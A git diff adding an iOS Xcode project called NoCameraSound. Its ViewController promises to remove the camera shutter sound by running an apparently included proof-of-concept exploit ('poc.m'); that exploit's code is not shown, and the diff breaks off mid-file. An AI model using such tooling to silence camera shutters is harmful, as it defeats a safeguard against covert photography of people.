diff --git a/NoCameraSound.xcodeproj/project.pbxproj b/NoCameraSound.xcodeproj/project.pbxproj new file mode 100644 index 0000000..520b8cd --- /dev/null +++ b/NoCameraSound.xcodeproj/project.pbxproj @@ -0,0 +1,393 @@ +// !$*UTF8*$! +{ + archiveVersion = 1; + classes = { + }; + objectVersion = 56; + objects = { + +/* Begin PBXBuildFile section */ + 3D369D632958FB5300A6E7C4 /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 3D369D622958FB5300A6E7C4 /* AppDelegate.m */; }; + 3D369D662958FB5300A6E7C4 /* SceneDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 3D369D652958FB5300A6E7C4 /* SceneDelegate.m */; }; + 3D369D692958FB5300A6E7C4 /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 3D369D682958FB5300A6E7C4 /* ViewController.m */; }; + 3D369D6C2958FB5300A6E7C4 /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 3D369D6A2958FB5300A6E7C4 /* Main.storyboard */; }; + 3D369D712958FB5400A6E7C4 /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 3D369D6F2958FB5400A6E7C4 /* LaunchScreen.storyboard */; }; + 3D369D742958FB5400A6E7C4 /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 3D369D732958FB5400A6E7C4 /* main.m */; }; + 3D369D7F29590DFD00A6E7C4 /* poc.m in Sources */ = {isa = PBXBuildFile; fileRef = 3D369D7E29590DFD00A6E7C4 /* poc.m */; }; + 3D369D8E2959C83F00A6E7C4 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 3D369D8D2959C83F00A6E7C4 /* Assets.xcassets */; }; + 3D9B1A9D295A1C540025A0E0 /* Localizable.strings in Resources */ = {isa = PBXBuildFile; fileRef = 3D9B1A9F295A1C540025A0E0 /* Localizable.strings */; }; +/* End PBXBuildFile section */ + +/* Begin PBXFileReference section */ + 3D369D5E2958FB5300A6E7C4 /* NoCameraSound.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = NoCameraSound.app; sourceTree = BUILT_PRODUCTS_DIR; }; + 3D369D612958FB5300A6E7C4 /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = ""; }; + 3D369D622958FB5300A6E7C4 /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = ""; }; + 3D369D642958FB5300A6E7C4 /* SceneDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = SceneDelegate.h; sourceTree = ""; }; + 3D369D652958FB5300A6E7C4 /* SceneDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SceneDelegate.m; sourceTree = ""; }; + 3D369D672958FB5300A6E7C4 /* ViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = ""; }; + 3D369D682958FB5300A6E7C4 /* ViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = ""; }; + 3D369D6B2958FB5300A6E7C4 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = ""; }; + 3D369D702958FB5400A6E7C4 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = ""; }; + 3D369D722958FB5400A6E7C4 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; + 3D369D732958FB5400A6E7C4 /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; }; + 3D369D7D29590DF900A6E7C4 /* poc.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = poc.h; sourceTree = ""; }; + 3D369D7E29590DFD00A6E7C4 /* poc.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = poc.m; sourceTree = ""; }; + 3D369D8D2959C83F00A6E7C4 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; name = Assets.xcassets; path = "../../../Downloads/AppIcons-3/Assets.xcassets"; sourceTree = ""; }; + 3D9B1A99295A1C230025A0E0 /* ja */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = ja; path = ja.lproj/Main.strings; sourceTree = ""; }; + 3D9B1A9A295A1C240025A0E0 /* ja */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = ja; path = ja.lproj/LaunchScreen.strings; sourceTree = ""; }; + 3D9B1A9E295A1C540025A0E0 /* ja */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = ja; path = ja.lproj/Localizable.strings; sourceTree = ""; }; +/* End PBXFileReference section */ + +/* Begin PBXFrameworksBuildPhase section */ + 3D369D5B2958FB5300A6E7C4 /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXFrameworksBuildPhase section */ + +/* Begin PBXGroup section */ + 3D369D552958FB5300A6E7C4 = { + isa = PBXGroup; + children = ( + 3D369D602958FB5300A6E7C4 /* NoCameraSound */, + 3D369D5F2958FB5300A6E7C4 /* Products */, + ); + sourceTree = ""; + }; + 3D369D5F2958FB5300A6E7C4 /* Products */ = { + isa = PBXGroup; + children = ( + 3D369D5E2958FB5300A6E7C4 /* NoCameraSound.app */, + ); + name = Products; + sourceTree = ""; + }; + 3D369D602958FB5300A6E7C4 /* NoCameraSound */ = { + isa = PBXGroup; + children = ( + 3D9B1A9F295A1C540025A0E0 /* Localizable.strings */, + 3D369D612958FB5300A6E7C4 /* AppDelegate.h */, + 3D369D622958FB5300A6E7C4 /* AppDelegate.m */, + 3D369D642958FB5300A6E7C4 /* SceneDelegate.h */, + 3D369D652958FB5300A6E7C4 /* SceneDelegate.m */, + 3D369D672958FB5300A6E7C4 /* ViewController.h */, + 3D369D682958FB5300A6E7C4 /* ViewController.m */, + 3D369D6A2958FB5300A6E7C4 /* Main.storyboard */, + 3D369D6F2958FB5400A6E7C4 /* LaunchScreen.storyboard */, + 3D369D722958FB5400A6E7C4 /* Info.plist */, + 3D369D732958FB5400A6E7C4 /* main.m */, + 3D369D7D29590DF900A6E7C4 /* poc.h */, + 3D369D7E29590DFD00A6E7C4 /* poc.m */, + 3D369D8D2959C83F00A6E7C4 /* Assets.xcassets */, + ); + path = NoCameraSound; + sourceTree = ""; + }; +/* End PBXGroup section */ + +/* Begin PBXNativeTarget section */ + 3D369D5D2958FB5300A6E7C4 /* NoCameraSound */ = { + isa = PBXNativeTarget; + buildConfigurationList = 3D369D772958FB5400A6E7C4 /* Build configuration list for PBXNativeTarget "NoCameraSound" */; + buildPhases = ( + 3D369D5A2958FB5300A6E7C4 /* Sources */, + 3D369D5B2958FB5300A6E7C4 /* Frameworks */, + 3D369D5C2958FB5300A6E7C4 /* Resources */, + ); + buildRules = ( + ); + dependencies = ( + ); + name = NoCameraSound; + productName = NoCameraSound; + productReference = 3D369D5E2958FB5300A6E7C4 /* NoCameraSound.app */; + productType = "com.apple.product-type.application"; + }; +/* End PBXNativeTarget section */ + +/* Begin PBXProject section */ + 3D369D562958FB5300A6E7C4 /* Project object */ = { + isa = PBXProject; + attributes = { + BuildIndependentTargetsInParallel = 1; + LastUpgradeCheck = 1400; + TargetAttributes = { + 3D369D5D2958FB5300A6E7C4 = { + CreatedOnToolsVersion = 14.0.1; + }; + }; + }; + buildConfigurationList = 3D369D592958FB5300A6E7C4 /* Build configuration list for PBXProject "NoCameraSound" */; + compatibilityVersion = "Xcode 14.0"; + developmentRegion = en; + hasScannedForEncodings = 0; + knownRegions = ( + en, + Base, + ja, + ); + mainGroup = 3D369D552958FB5300A6E7C4; + productRefGroup = 3D369D5F2958FB5300A6E7C4 /* Products */; + projectDirPath = ""; + projectRoot = ""; + targets = ( + 3D369D5D2958FB5300A6E7C4 /* NoCameraSound */, + ); + }; +/* End PBXProject section */ + +/* Begin PBXResourcesBuildPhase section */ + 3D369D5C2958FB5300A6E7C4 /* Resources */ = { + isa = PBXResourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 3D369D712958FB5400A6E7C4 /* LaunchScreen.storyboard in Resources */, + 3D9B1A9D295A1C540025A0E0 /* Localizable.strings in Resources */, + 3D369D8E2959C83F00A6E7C4 /* Assets.xcassets in Resources */, + 3D369D6C2958FB5300A6E7C4 /* Main.storyboard in Resources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXResourcesBuildPhase section */ + +/* Begin PBXSourcesBuildPhase section */ + 3D369D5A2958FB5300A6E7C4 /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 3D369D692958FB5300A6E7C4 /* ViewController.m in Sources */, + 3D369D7F29590DFD00A6E7C4 /* poc.m in Sources */, + 3D369D632958FB5300A6E7C4 /* AppDelegate.m in Sources */, + 3D369D742958FB5400A6E7C4 /* main.m in Sources */, + 3D369D662958FB5300A6E7C4 /* SceneDelegate.m in Sources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXSourcesBuildPhase section */ + +/* Begin PBXVariantGroup section */ + 3D369D6A2958FB5300A6E7C4 /* Main.storyboard */ = { + isa = PBXVariantGroup; + children = ( + 3D369D6B2958FB5300A6E7C4 /* Base */, + 3D9B1A99295A1C230025A0E0 /* ja */, + ); + name = Main.storyboard; + sourceTree = ""; + }; + 3D369D6F2958FB5400A6E7C4 /* LaunchScreen.storyboard */ = { + isa = PBXVariantGroup; + children = ( + 3D369D702958FB5400A6E7C4 /* Base */, + 3D9B1A9A295A1C240025A0E0 /* ja */, + ); + name = LaunchScreen.storyboard; + sourceTree = ""; + }; + 3D9B1A9F295A1C540025A0E0 /* Localizable.strings */ = { + isa = PBXVariantGroup; + children = ( + 3D9B1A9E295A1C540025A0E0 /* ja */, + ); + name = Localizable.strings; + sourceTree = ""; + }; +/* End PBXVariantGroup section */ + +/* Begin XCBuildConfiguration section */ + 3D369D752958FB5400A6E7C4 /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + ALWAYS_SEARCH_USER_PATHS = NO; + CLANG_ANALYZER_LOCALIZABILITY_NONLOCALIZED = YES; + CLANG_ANALYZER_NONNULL = YES; + CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; + CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; + CLANG_ENABLE_MODULES = YES; + CLANG_ENABLE_OBJC_ARC = YES; + CLANG_ENABLE_OBJC_WEAK = YES; + CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; + CLANG_WARN_BOOL_CONVERSION = YES; + CLANG_WARN_COMMA = YES; + CLANG_WARN_CONSTANT_CONVERSION = YES; + CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; + CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; + CLANG_WARN_DOCUMENTATION_COMMENTS = YES; + CLANG_WARN_EMPTY_BODY = YES; + CLANG_WARN_ENUM_CONVERSION = YES; + CLANG_WARN_INFINITE_RECURSION = YES; + CLANG_WARN_INT_CONVERSION = YES; + CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; + CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; + CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; + CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; + CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; + CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; + CLANG_WARN_STRICT_PROTOTYPES = YES; + CLANG_WARN_SUSPICIOUS_MOVE = YES; + CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; + CLANG_WARN_UNREACHABLE_CODE = YES; + CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; + COPY_PHASE_STRIP = NO; + DEBUG_INFORMATION_FORMAT = dwarf; + ENABLE_STRICT_OBJC_MSGSEND = YES; + ENABLE_TESTABILITY = YES; + GCC_C_LANGUAGE_STANDARD = gnu11; + GCC_DYNAMIC_NO_PIC = NO; + GCC_NO_COMMON_BLOCKS = YES; + GCC_OPTIMIZATION_LEVEL = 0; + GCC_PREPROCESSOR_DEFINITIONS = ( + "DEBUG=1", + "$(inherited)", + ); + GCC_WARN_64_TO_32_BIT_CONVERSION = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; + GCC_WARN_UNDECLARED_SELECTOR = YES; + GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; + GCC_WARN_UNUSED_FUNCTION = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + IPHONEOS_DEPLOYMENT_TARGET = 16.0; + MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; + MTL_FAST_MATH = YES; + ONLY_ACTIVE_ARCH = YES; + SDKROOT = iphoneos; + }; + name = Debug; + }; + 3D369D762958FB5400A6E7C4 /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + ALWAYS_SEARCH_USER_PATHS = NO; + CLANG_ANALYZER_LOCALIZABILITY_NONLOCALIZED = YES; + CLANG_ANALYZER_NONNULL = YES; + CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; + CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; + CLANG_ENABLE_MODULES = YES; + CLANG_ENABLE_OBJC_ARC = YES; + CLANG_ENABLE_OBJC_WEAK = YES; + CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; + CLANG_WARN_BOOL_CONVERSION = YES; + CLANG_WARN_COMMA = YES; + CLANG_WARN_CONSTANT_CONVERSION = YES; + CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; + CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; + CLANG_WARN_DOCUMENTATION_COMMENTS = YES; + CLANG_WARN_EMPTY_BODY = YES; + CLANG_WARN_ENUM_CONVERSION = YES; + CLANG_WARN_INFINITE_RECURSION = YES; + CLANG_WARN_INT_CONVERSION = YES; + CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; + CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; + CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; + CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; + CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; + CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; + CLANG_WARN_STRICT_PROTOTYPES = YES; + CLANG_WARN_SUSPICIOUS_MOVE = YES; + CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; + CLANG_WARN_UNREACHABLE_CODE = YES; + CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; + COPY_PHASE_STRIP = NO; + DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; + ENABLE_NS_ASSERTIONS = NO; + ENABLE_STRICT_OBJC_MSGSEND = YES; + GCC_C_LANGUAGE_STANDARD = gnu11; + GCC_NO_COMMON_BLOCKS = YES; + GCC_WARN_64_TO_32_BIT_CONVERSION = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; + GCC_WARN_UNDECLARED_SELECTOR = YES; + GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; + GCC_WARN_UNUSED_FUNCTION = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + IPHONEOS_DEPLOYMENT_TARGET = 16.0; + MTL_ENABLE_DEBUG_INFO = NO; + MTL_FAST_MATH = YES; + SDKROOT = iphoneos; + VALIDATE_PRODUCT = YES; + }; + name = Release; + }; + 3D369D782958FB5400A6E7C4 /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; + ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; + CODE_SIGN_STYLE = Automatic; + CURRENT_PROJECT_VERSION = 1; + GENERATE_INFOPLIST_FILE = YES; + INFOPLIST_FILE = NoCameraSound/Info.plist; + INFOPLIST_KEY_CFBundleDisplayName = NoCameraSound; + INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES; + INFOPLIST_KEY_UILaunchStoryboardName = LaunchScreen; + INFOPLIST_KEY_UIMainStoryboardFile = Main; + INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; + INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; + IPHONEOS_DEPLOYMENT_TARGET = 13.0; + LD_RUNPATH_SEARCH_PATHS = ( + "$(inherited)", + "@executable_path/Frameworks", + ); + MARKETING_VERSION = 4.2; + PRODUCT_BUNDLE_IDENTIFIER = "com.straight-tamago.NoCameraSound"; + PRODUCT_NAME = "$(TARGET_NAME)"; + SWIFT_EMIT_LOC_STRINGS = YES; + TARGETED_DEVICE_FAMILY = "1,2"; + }; + name = Debug; + }; + 3D369D792958FB5400A6E7C4 /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; + ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; + CODE_SIGN_STYLE = Automatic; + CURRENT_PROJECT_VERSION = 1; + GENERATE_INFOPLIST_FILE = YES; + INFOPLIST_FILE = NoCameraSound/Info.plist; + INFOPLIST_KEY_CFBundleDisplayName = NoCameraSound; + INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES; + INFOPLIST_KEY_UILaunchStoryboardName = LaunchScreen; + INFOPLIST_KEY_UIMainStoryboardFile = Main; + INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; + INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; + IPHONEOS_DEPLOYMENT_TARGET = 13.0; + LD_RUNPATH_SEARCH_PATHS = ( + "$(inherited)", + "@executable_path/Frameworks", + ); + MARKETING_VERSION = 4.2; + PRODUCT_BUNDLE_IDENTIFIER = "com.straight-tamago.NoCameraSound"; + PRODUCT_NAME = "$(TARGET_NAME)"; + SWIFT_EMIT_LOC_STRINGS = YES; + TARGETED_DEVICE_FAMILY = "1,2"; + }; + name = Release; + }; +/* End XCBuildConfiguration section */ + +/* Begin XCConfigurationList section */ + 3D369D592958FB5300A6E7C4 /* Build configuration list for PBXProject "NoCameraSound" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 3D369D752958FB5400A6E7C4 /* Debug */, + 3D369D762958FB5400A6E7C4 /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; + 3D369D772958FB5400A6E7C4 /* Build configuration list for PBXNativeTarget "NoCameraSound" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 3D369D782958FB5400A6E7C4 /* Debug */, + 3D369D792958FB5400A6E7C4 /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; +/* End XCConfigurationList section */ + }; + rootObject = 3D369D562958FB5300A6E7C4 /* Project object */; +} diff --git a/NoCameraSound.xcodeproj/project.xcworkspace/contents.xcworkspacedata b/NoCameraSound.xcodeproj/project.xcworkspace/contents.xcworkspacedata new file mode 100644 index 0000000..919434a --- /dev/null +++ b/NoCameraSound.xcodeproj/project.xcworkspace/contents.xcworkspacedata @@ -0,0 +1,7 @@ + + + + + diff --git a/NoCameraSound.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist b/NoCameraSound.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist new file mode 100644 index 0000000..18d9810 --- /dev/null +++ b/NoCameraSound.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist @@ -0,0 +1,8 @@ + + + + + IDEDidComputeMac32BitWarning + + + diff --git a/NoCameraSound.xcodeproj/project.xcworkspace/xcuserdata/mini.xcuserdatad/UserInterfaceState.xcuserstate b/NoCameraSound.xcodeproj/project.xcworkspace/xcuserdata/mini.xcuserdatad/UserInterfaceState.xcuserstate new file mode 100644 index 0000000..97ef55b Binary files /dev/null and b/NoCameraSound.xcodeproj/project.xcworkspace/xcuserdata/mini.xcuserdatad/UserInterfaceState.xcuserstate differ diff --git a/NoCameraSound.xcodeproj/xcuserdata/mini.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist b/NoCameraSound.xcodeproj/xcuserdata/mini.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist new file mode 100644 index 0000000..02516f9 --- /dev/null +++ b/NoCameraSound.xcodeproj/xcuserdata/mini.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist @@ -0,0 +1,24 @@ + + + + + + + + + diff --git a/NoCameraSound.xcodeproj/xcuserdata/mini.xcuserdatad/xcschemes/xcschememanagement.plist b/NoCameraSound.xcodeproj/xcuserdata/mini.xcuserdatad/xcschemes/xcschememanagement.plist new file mode 100644 index 0000000..8f7770e --- /dev/null +++ b/NoCameraSound.xcodeproj/xcuserdata/mini.xcuserdatad/xcschemes/xcschememanagement.plist @@ -0,0 +1,14 @@ + + + + + SchemeUserState + + NoCameraSound.xcscheme_^#shared#^_ + + orderHint + 0 + + + + diff --git a/NoCameraSound/AppDelegate.h b/NoCameraSound/AppDelegate.h new file mode 100644 index 0000000..2cea0c7 --- /dev/null +++ b/NoCameraSound/AppDelegate.h @@ -0,0 +1,14 @@ +// +// AppDelegate.h +// NoCameraSound +// +// Created by mini on 2022/12/26. +// + +#import + +@interface AppDelegate : UIResponder + + +@end + diff --git a/NoCameraSound/AppDelegate.m b/NoCameraSound/AppDelegate.m new file mode 100644 index 0000000..fe80fe7 --- /dev/null +++ b/NoCameraSound/AppDelegate.m @@ -0,0 +1,40 @@ +// +// AppDelegate.m +// NoCameraSound +// +// Created by mini on 2022/12/26. +// + +#import "AppDelegate.h" + +@interface AppDelegate () + +@end + +@implementation AppDelegate + + +- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { + // Override point for customization after application launch. + return YES; +} + + +#pragma mark - UISceneSession lifecycle + + +- (UISceneConfiguration *)application:(UIApplication *)application configurationForConnectingSceneSession:(UISceneSession *)connectingSceneSession options:(UISceneConnectionOptions *)options { + // Called when a new scene session is being created. + // Use this method to select a configuration to create the new scene with. + return [[UISceneConfiguration alloc] initWithName:@"Default Configuration" sessionRole:connectingSceneSession.role]; +} + + +- (void)application:(UIApplication *)application didDiscardSceneSessions:(NSSet *)sceneSessions { + // Called when the user discards a scene session. + // If any sessions were discarded while the application was not running, this will be called shortly after application:didFinishLaunchingWithOptions. + // Use this method to release any resources that were specific to the discarded scenes, as they will not return. +} + + +@end diff --git a/NoCameraSound/Assets.xcassets/AccentColor.colorset/Contents.json b/NoCameraSound/Assets.xcassets/AccentColor.colorset/Contents.json new file mode 100644 index 0000000..eb87897 --- /dev/null +++ b/NoCameraSound/Assets.xcassets/AccentColor.colorset/Contents.json @@ -0,0 +1,11 @@ +{ + "colors" : [ + { + "idiom" : "universal" + } + ], + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/NoCameraSound/Assets.xcassets/AppIcon.appiconset/Contents.json b/NoCameraSound/Assets.xcassets/AppIcon.appiconset/Contents.json new file mode 100644 index 0000000..99cbaaa --- /dev/null +++ b/NoCameraSound/Assets.xcassets/AppIcon.appiconset/Contents.json @@ -0,0 +1,14 @@ +{ + "images" : [ + { + "filename" : "satsuei_kinshi_illust_1108.png", + "idiom" : "universal", + "platform" : "ios", + "size" : "1024x1024" + } + ], + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/NoCameraSound/Assets.xcassets/AppIcon.appiconset/satsuei_kinshi_illust_1108.png b/NoCameraSound/Assets.xcassets/AppIcon.appiconset/satsuei_kinshi_illust_1108.png new file mode 100644 index 0000000..af08db4 Binary files /dev/null and b/NoCameraSound/Assets.xcassets/AppIcon.appiconset/satsuei_kinshi_illust_1108.png differ diff --git a/NoCameraSound/Assets.xcassets/Contents.json b/NoCameraSound/Assets.xcassets/Contents.json new file mode 100644 index 0000000..73c0059 --- /dev/null +++ b/NoCameraSound/Assets.xcassets/Contents.json @@ -0,0 +1,6 @@ +{ + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/NoCameraSound/Base.lproj/LaunchScreen.storyboard b/NoCameraSound/Base.lproj/LaunchScreen.storyboard new file mode 100644 index 0000000..865e932 --- /dev/null +++ b/NoCameraSound/Base.lproj/LaunchScreen.storyboard @@ -0,0 +1,25 @@ + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/NoCameraSound/Base.lproj/Main.storyboard b/NoCameraSound/Base.lproj/Main.storyboard new file mode 100644 index 0000000..0476373 --- /dev/null +++ b/NoCameraSound/Base.lproj/Main.storyboard @@ -0,0 +1,85 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/NoCameraSound/Info.plist b/NoCameraSound/Info.plist new file mode 100644 index 0000000..81ed29b --- /dev/null +++ b/NoCameraSound/Info.plist @@ -0,0 +1,25 @@ + + + + + UIApplicationSceneManifest + + UIApplicationSupportsMultipleScenes + + UISceneConfigurations + + UIWindowSceneSessionRoleApplication + + + UISceneConfigurationName + Default Configuration + UISceneDelegateClassName + SceneDelegate + UISceneStoryboardFile + Main + + + + + + diff --git a/NoCameraSound/Localizable.strings b/NoCameraSound/Localizable.strings new file mode 100644 index 0000000..185137c --- /dev/null +++ b/NoCameraSound/Localizable.strings @@ -0,0 +1,7 @@ +/* + Localizable.strings + NoCameraSound + + Created by mini on 2022/12/26. + +*/ diff --git a/NoCameraSound/SceneDelegate.h b/NoCameraSound/SceneDelegate.h new file mode 100644 index 0000000..a6844e9 --- /dev/null +++ b/NoCameraSound/SceneDelegate.h @@ -0,0 +1,15 @@ +// +// SceneDelegate.h +// NoCameraSound +// +// Created by mini on 2022/12/26. +// + +#import + +@interface SceneDelegate : UIResponder + +@property (strong, nonatomic) UIWindow * window; + +@end + diff --git a/NoCameraSound/SceneDelegate.m b/NoCameraSound/SceneDelegate.m new file mode 100644 index 0000000..d5d1df7 --- /dev/null +++ b/NoCameraSound/SceneDelegate.m @@ -0,0 +1,57 @@ +// +// SceneDelegate.m +// NoCameraSound +// +// Created by mini on 2022/12/26. +// + +#import "SceneDelegate.h" + +@interface SceneDelegate () + +@end + +@implementation SceneDelegate + + +- (void)scene:(UIScene *)scene willConnectToSession:(UISceneSession *)session options:(UISceneConnectionOptions *)connectionOptions { + // Use this method to optionally configure and attach the UIWindow `window` to the provided UIWindowScene `scene`. + // If using a storyboard, the `window` property will automatically be initialized and attached to the scene. + // This delegate does not imply the connecting scene or session are new (see `application:configurationForConnectingSceneSession` instead). +} + + +- (void)sceneDidDisconnect:(UIScene *)scene { + // Called as the scene is being released by the system. + // This occurs shortly after the scene enters the background, or when its session is discarded. + // Release any resources associated with this scene that can be re-created the next time the scene connects. + // The scene may re-connect later, as its session was not necessarily discarded (see `application:didDiscardSceneSessions` instead). +} + + +- (void)sceneDidBecomeActive:(UIScene *)scene { + // Called when the scene has moved from an inactive state to an active state. + // Use this method to restart any tasks that were paused (or not yet started) when the scene was inactive. +} + + +- (void)sceneWillResignActive:(UIScene *)scene { + // Called when the scene will move from an active state to an inactive state. + // This may occur due to temporary interruptions (ex. an incoming phone call). +} + + +- (void)sceneWillEnterForeground:(UIScene *)scene { + // Called as the scene transitions from the background to the foreground. + // Use this method to undo the changes made on entering the background. +} + + +- (void)sceneDidEnterBackground:(UIScene *)scene { + // Called as the scene transitions from the foreground to the background. + // Use this method to save data, release shared resources, and store enough scene-specific state information + // to restore the scene back to its current state. +} + + +@end diff --git a/NoCameraSound/ViewController.h b/NoCameraSound/ViewController.h new file mode 100644 index 0000000..82ff55d --- /dev/null +++ b/NoCameraSound/ViewController.h @@ -0,0 +1,14 @@ +// +// ViewController.h +// NoCameraSound +// +// Created by mini on 2022/12/26. +// + +#import + +@interface ViewController : UIViewController + + +@end + diff --git a/NoCameraSound/ViewController.m b/NoCameraSound/ViewController.m new file mode 100644 index 0000000..5632ca1 --- /dev/null +++ b/NoCameraSound/ViewController.m @@ -0,0 +1,98 @@ +// +// ViewController.m +// NoCameraSound +// +// Created by すとれーとたまご★ on 2022/12/26. +// + +#import "ViewController.h" +#import "poc.h" + +@interface ViewController () +@property (weak, nonatomic) IBOutlet UIActivityIndicatorView *running; +@end + +@implementation ViewController + +- (void)viewDidLoad { + [super viewDidLoad]; + // Do any additional setup after loading the view. +} + +- (IBAction)go:(id)sender { + UIAlertController *alert = [UIAlertController alertControllerWithTitle:NSLocalizedString(@"Select Operation", nil) + message:NSLocalizedString(@"When the process is complete, this app will crash, but the shutter sound should be gone. (It will return to normal after a certain period of time or restart)", nil) + preferredStyle:UIAlertControllerStyleAlert]; + + +UIAlertAction *firstAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"Photo & 